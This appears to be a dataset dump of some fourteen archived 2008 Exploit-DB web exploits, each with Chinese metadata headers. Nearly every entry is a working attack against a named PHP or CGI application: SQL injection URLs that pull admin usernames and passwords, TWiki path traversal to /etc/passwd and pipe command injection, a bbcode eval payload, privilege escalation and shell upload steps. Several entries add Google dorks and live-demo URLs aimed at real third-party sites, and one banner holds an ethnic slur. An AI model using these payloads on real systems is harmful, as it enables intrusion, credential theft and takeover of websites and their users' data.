QLWD/code_shield huggingface dataset:
标题: Rianxosencabos CMS 0.9 - Arbitrary Add Admin EDB-ID: 6513 CVE: 2008-4245 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: ============================================================
  Rianxosencabos CMS 0.9 Arbitrary Add-Admin Vulnerability
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 21 September 2008
SITE   : cwh.citec.us


###################################################################################
APPLICATION : Rianxosencabos CMS
VERSION     : 0.9
DOWNLOAD    : http://downloads.sourceforge.net/rsccms/rsccms.tar.gz
###################################################################################


--- Add-Admin / Delete-Account Vulnerability ---


-------------
 Description
-------------

    Rianxosencabos CMS 0.9 has Vulnerability to escalate user to administartor's privilege.
That Vulnerable in "http://[Target]/[rsccms_path]/?s=admin&accion=lista" and You can Arbitrary change user's permission or delete user

    This action will give your account can use All Admin Control Panel with Administrative's Privilege or Arbitrary Delete account in website.


--------------
 Exploit code
--------------
[+] Log in with your account, You can register with this URL "http://[Target]/[rsccms_path]/?s=usuarios&accion=registrar"
[+] Go to "http://[Target]/[rsccms_path]/?s=admin&accion=lista"
[+] Now you can Change user permission or delete user account


#####################################################################
 Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
 Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6513
标题: TWiki 4.2.2 - 'action' Remote Code Execution EDB-ID: 6509 CVE: 2008-4112 2008-3195 类型: WEBAPPS 平台: CGI 发布日期: 2008-09-21 漏洞利用脚本: #-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------#
#-----------TWiki Remote Code Execution <= 4.2.2--------------------#

# ----------developers site: http://www.twiki.org-------------------#
# ----------CVE Id(s)      : CVE-2008-3195--------------------------#

# http://twiki.org/cgi-bin/view/Codev/DownloadTWiki#4_2_3_Bugfix_Highlights

The "configure" file in TWiki's bin folder is vulnerable to code execution and local file inclusion.

According to TWiki's documentation this file is meant to be protected with .htaccess, but many a times you find it is not ;)

Vulnerable code:

if( $action eq 'image' ) {
    # SMELL: this call is correct, but causes a perl error

    # on some versions of CGI.pm
    # print $query->header(-type => $query->param('type'));
    # So use this instead:
    print 'Content-type: '.$query->param('type')."\n\n";

    if( open(F, 'logos/'.$query->param('image' ))) {
        local $/ = undef;
        print <F>;
        close(F);
    }

http://localhost/twiki/bin/configure?action=image;image=../../../../../../../etc/passwd;type=text/plain

http://localhost/twiki/bin/configure?action=image;image=|uname -a|;type=text/plain

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6509
标题: Diesel Job Site - 'job_id' Blind SQL Injection EDB-ID: 6512 CVE: 2008-6467 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: Diesel Job Site Blind Sql Injection P0c
Author : Stack
Home Script :  http://www.dieselscripts.com

Desc :
look the select Job Viewed: in [real id]+and+1=1 (true) the times change each time
but in [real id]+and+1=0 (false) it remains stable
 
go to url exploit or poc 2 or 3 times for see the difference
between (true) and (false)
 
P0c :
http://site.il/jobs/jobseekers/job-info.php?job_id=[real id]+and+1=1
http://site.il/jobs/jobseekers/job-info.php?job_id=[real id]+and+1=0
Exploit :
http://site.il/jobs/jobseekers/job-info.php?job_id=[real id]+and+substring(@@version,1,1)=5
http://site.il/jobs/jobseekers/job-info.php?job_id=[real id]+and+substring(@@version,1,1)=4
Live Demo P0c :
http://www.dieselscripts.com/demo/jobs/jobseekers/job-info.php?job_id=56+and+1=1
http://www.dieselscripts.com/demo/jobs/jobseekers/job-info.php?job_id=56+and+1=0
Live Demo Exploit :
http://www.dieselscripts.com/demo/jobs/jobseekers/job-info.php?job_id=56+and+substring(@@version,1,1)=5
http://www.dieselscripts.com/demo/jobs/jobseekers/job-info.php?job_id=56+and+substring(@@version,1,1)=4

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6512
标题: PHPKB 1.5 Professional - Multiple SQL Injections EDB-ID: 6510 CVE: 2008-5088 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: [~] PHPKB Knowledge Base Software v1.5 Professional (email.php) - SQL Injection Vulnerability
[~]
[~] http://www.knowledgebase-script.com
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 20.09.2007
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~] 
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~] 
[~] Pentest|Gibon|Pig
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/email.php?ID=SQL
[~]   
[~] Demo :-
[~]
[~]
[~] http://xxxx.com/email.php?ID=1+UNION+SELECT+concat_ws(0x3a,version(),database(),user())+LIMIT 1,1/*
[~]
[~]----------------------------------------------------------------------------------------------------------------------

2

[~] PHPKB Knowledge Base Software v1.5 Professional (question.php) - SQL Injection Vulnerability
[~]
[~] http://www.knowledgebase-script.com
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 20.09.2007
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~] 
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~] 
[~] Pentest|Gibon|Pig
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/question.php?ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/*
[~] http://site.com/question.php?ID=1 UNION SELECT concat(user,char(58),password) FROM mysql.user/*
[~] 
[~] If he does not work test yet -> /question.php?ID=-1
[~] 
[~] Demo :- 
[~]
[~] http://xxxx.com/kb/question.php?ID=1%20UNION%20SELECT%20concat(user,char(58),password)%20FROM%20mysql.user%20/*
[~]
[~] http://xxxx.com/kb/question.php?ID=1%20UNION%20SELECT%20concat_ws(0x3a,version(),database(),user())/*
[~]
[~]----------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6510
标题: e107 Plugin Image Gallery 0.9.6.2 - SQL Injection EDB-ID: 6516 CVE: 2008-6466 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: ####################################################
e107 Plugin Akira Powered's "Image Gallery" Remote SQL-injetion Vulnerability
####################################################

#####################################
Author: boom3rang
Site: www.khg-crew.ws
Greetz: KHG & H!tm@N & chs & redc00de & proxy-ki11er  
Site: www.khg-crew.ws
#####################################


- Download Plugin:  http://www.akirapowered.org/download.php?view.73

- Dork:
inurl:image_gallery.php?page=image-detail

- POC:
http://www.site.com/e107_Path/image_gallery/image_gallery.php?page=image-detail&album=1&image=[exploit]

- Exploit:
-9999+UNION+SELECT+concat_ws(char(58),user_name,user_password)KHG+from+e107_user+where+user_id=1--

- Live demo:
http://www.ifitbleeds.net/e107_plugins/image_gallery/image_gallery.php?page=image-detail&album=1&image=-9999+UNION+SELECT+concat_ws(char(58),user_name,user_password)KHG+from+e107_user+where+user_id=1--



#########################################
- Kosova Hackers Group
- United States of Albania
- Proud to be Albanian
- Proud to be Muslim
#########################################

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6516
标题: 6rbScript 3.3 - 'singerid' SQL Injection EDB-ID: 6511 CVE: 2008-6454 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: |___________________________________________________|
|
| 6rbScript V3.3 (singerid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM |  WwW.TrYaG.CC
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script : www.6rbscript.com
|
| DorK   : inurl:"section.php?name=singers"
| dorK   : Powered By 6rbScript V3.3
|___________________________________________________|


Exploit:
________


user name
_______

www.[target].com/[PATS]/section.php?name=singers&f=songs&singerid=-1+union+select+1,aid,3,4,5,6+from+7addad_authors--


password
_______

http://localhost/Script/section.php?name=singers&f=songs&singerid=-1+union+select+1,pwd,3,4,5,6+from+7addad_authors--




Admin LogIn :

www.[target].com/cpanel.php





____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone
|______________________________________________________________________


                             Im IRAQi

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6511
标题: AvailScript Jobs Portal Script - (Authenticated) Arbitrary File Upload EDB-ID: 6514 CVE: 2008-7021 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by :  Cyb3r-1sT

<<!>> C0ntact  : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups   : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script        : Availscript Jobs Portal Script

<<->> script site : www.availscript.com             


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : N0-WaY

<<->> Exploit :

        1) first Register in site in ( Employers Signup ) ...... www.site.me/registeremp.php
        
        2) login as Employer and goto  Edit Image/Logo ..... www.site.me/employer/editlogo.php .. u can upload shell ( shell.php )  
         
        3) hack site :) finished 

=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================



<<->> InjEctOr5 TeaM  :: InjEctOr $ haker-b0y $ Mr.Dangers $ Eng.Silent Night $ QalbHamad $ fisher762 $ Sp1d3r_N3T $ ToTaL $ z3rO s3v3n $ RooT-Hacker

<<->> My  best old freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka $ nicehacker $ anaconda-ksa $ sirus $ br1ght-dark  $ Golden-zero

<<->>  Then TrYaG Te4m & there Forum ( www.tryag.cc/cc ) 

<<->> All muslims

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6514
标题: Basic PHP Events Lister 1.0 - SQL Injection EDB-ID: 6508 CVE: 2008-6464 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: _____          ____   _____
      /  _  \ /\  /\ / _  \ /  _  \
      | | | | \ \/ / ||_| | | | | |  
      | | | |  \  /  \_   | | | | |  
      | |_| |  /  \   __\ | | |_| |
      \_____/ / /\ \ |____/ \_____/
              \/  \/

[~] Basic PHP Events Lister Remote SQL Injection

[~] Author: 0x90

[~] HomePage: www.0x90.com.ar

[~] Contact: Guns[at]0x90[dot]com[dot]ar

[~] Script: Basic PHP Events Lister

[~] site: http://www.mevin.com

[~] Donload: http://www.mevin.com/downloads/Basic-php-events-lister1.0.zip

[~] Vulnerability Class: SQL Injection

[~] Online Demostration: http://www.mevin.com/downloads/events/event.php?id=-0x90+union+select+0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,concat(uname,0x3a,pword),0x90+from+admin--



[~] Exploit:

http://host/event.php?id=-0x90+union+select+0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,concat(uname,0x3a,pword),0x90+from+admin--

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6508
标题: Diesel Pay Script - 'area' SQL Injection EDB-ID: 6502 CVE: 2008-6468 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-20 漏洞利用脚本: [~] Diesel Pay Script
[~]
[~] index.php (area) sql inj
[~]
[~] http://www.dieselscripts.com
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 20.09.2008
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] contact: zorlu@w.cn
[~] 
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/index.php?a=browse&area=[SQL]

[SQL]= 

ZoRLu'+union+select+null,null,null,null,null,concat(database(),0x3a,version(),0x3a,user()),null/*

Demo:

http://www.dieselscripts.com/demo/dieselpay/index.php?a=browse&area=ZoRLu'+union+select+null,null,null,null,null,concat(database(),0x3a,version(),0x3a,user()),null/*

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs
[~]
[~] http://www.z0rlu.blogspot.com online : )
[~]
[~] home: yildirimordulari.org  &  r00tsecurity.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-09-20] URL: https://www.exploit-db.com/exploits/6502
标题: Oceandir 2.9 - 'show_vote.php' SQL Injection EDB-ID: 6504 CVE: 2008-6452 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-20 漏洞利用脚本: /**
 * @title Oceandir <= 2.9 (show_vote.php id) Remote SQL injection
 * @author JEEN HACKER TEAM [ Jeen + Secertry ]
 * @cost 250$ 
 * @script http://www.oceandir.com
 * @copyright 2008
 * @homepage http://www.hackteach.org/cc/teach.php
 * @email SVN@HOTMAIL.COM , CPY@HOTMAIL.COM
 */

Exploit :
~user
http://www.site.com/dir/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users
~passwd
http://www.site.com/dir/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users

Example :
####
http://www.dir.qatarw.com/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users
http://www.dir.qatarw.com/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users
####

Greetz : www.hackteach.org user's

# milw0rm.com [2008-09-20] URL: https://www.exploit-db.com/exploits/6504
标题: Advanced Electron Forum 1.0.6 - Remote Code Execution EDB-ID: 6499 CVE: 2008-5090 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-20 漏洞利用脚本: ##########################################################
# GulfTech Security Research           September 20, 2008
##########################################################
# Vendor : Electron Inc.
# URL : http://www.anelectron.com/
# Version : AEF Forum <= 1.0.6
# Risk : Remote Code Execution
##########################################################



Description:
Advanced Electron Forum also known as AEF Forum is a full featured
online forum system written in php that allows webmasters and site
owners to host their own discussion forums within their website.
The Advanced Electron Forum software comes bundled with the popular
MKPortal package, but is also available as a free stand alone forum.
Unfortunately there are multiple remote code execution issues within
AEF that allow for an attacker to execute arbitrary php code with
privileges of the affected webserver. This is due to the improper
handling of evaluated bbcode within AEF Forum. Users should upgrade
their forums as soon as possible.



Remote Code Execution:
There is a serious security issue within AEF Forums that allows for
forum users to easily execute arbitrary php code on the affected
webserver. This issue is due to AEF Forums sending wildcard matches
to the replacement parameter of preg_replace function, within double
quotes, while the eval switch is present. Below is one of the many
examples of the security issues within the bbcode handling of AEF.

//Email Links
if($globals['bbc_email']){

    $text = preg_replace(
                array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
                        "/\[email\](.*?)\[\/email\]/ies"),
                array('check_email("$1", "$2")',
                        'check_email("$1", "$1")'), $text);

}

As we can see from the above code, a wildcard match is used to gather
the matches sent to replacement parameter for evaluation. This is bad
because an attacker can use complex variable syntax within an [email]
tag (other tags are also vulnerable) and have it executed as php code.

[email]{${phpinfo()}}[/email]

If the above bb code was posted to a vulnerable AEF Forum then the php
within the tags would be executed. In this case the php code is simply
a phpinfo() call, but of course, other attacks are possible.



Solution:
Thanks to Jim Haslip for his help with communicating this issue to
developers. Users should upgrade as soon as possible.



Credits:
James Bercegay of the GulfTech Security Research Team



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00131-09202008 

# milw0rm.com [2008-09-20] URL: https://www.exploit-db.com/exploits/6499
标题: Plaincart 1.1.2 - 'p' SQL Injection EDB-ID: 6503 CVE: 2008-6469 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-20 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#-QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE-DON-Outlawz        #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title:  PlainCart (index.php) SQL Inj
#
# Script Download: http://www.phpwebcommerce.com/shopping-cart-source-code.php
# 
#
###########################################################
#
# d0rk: n/a
#
###########################################################
 
     POC 1:- 

         http://www.site.com/[script]/index.php?c=16&p=-3+UNION+SELECT+user_name,user_password,3,4,5+from+tbl_user--
 
     
     
     
     Live Demo: 
 
 http://www.phpwebcommerce.com/plaincart/index.php?c=16&p=-3+UNION+SELECT+user_name,user_password,3,4,5+from+tbl_user--

 
    Admin panel: www.site.com/plaincart/admin/login.php
 
###########################################################
#
#  Bug discovered : 20 Sep.2008
###########################################################

# milw0rm.com [2008-09-20] URL: https://www.exploit-db.com/exploits/6503
标题: easyLink 1.1.0 - 'detail.php' SQL Injection EDB-ID: 6494 CVE: 2008-6471 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-19 漏洞利用脚本: ================================================================================
easyLink V1.1.0 (detail.php) Remote SQL Injection Vulnerability
================================================================================



Discovered By: Egypt Coder

home : WWW.Sec-Area.com

Mail: Egyptcoder@hotmail.com



Dork: Engine powered by easyLink V1.1.0.



Exploit :


http://localhost/links/detail.php?act=show&cat=1+union+select+1,2,concat_ws(0x3a,user,passwort),4,5+from+elink_user


Greets  rUnViruS, Error Code, H666p , Fear Master , ProViDoR

# milw0rm.com [2008-09-19] URL: https://www.exploit-db.com/exploits/6494
标题: jPORTAL 2 - 'humor.php' SQL Injection EDB-ID: 6505 CVE: 2008-6451 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-20 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#-QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE-DON-Outlawz        #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title:  jPORTAL 2 (humor.php) SQL Injection
#
# VEndor: http://jportal2.com/
# 
#
###########################################################
#
# d0rk: intext:"jPORTAL 2" & inurl:"humor.php"
#
###########################################################
 
     POC 1:- 

        http://www.site.com/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+jp2admins--
 
    POC 2:- 

 http://www.site.com/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+admins--

  Table names may vary from jp2admins to admins 
     
     
     Live Demo: 
 
 http://www.domanski.pl/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+jp2admins--

 http://gimnazjum.webd.pl/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+admins--
 
    Admin panel: www.site.com/admin.php
 
###########################################################
#
#  Bug discovered : 21 Sep.2008
###########################################################

# milw0rm.com [2008-09-20] URL: https://www.exploit-db.com/exploits/6505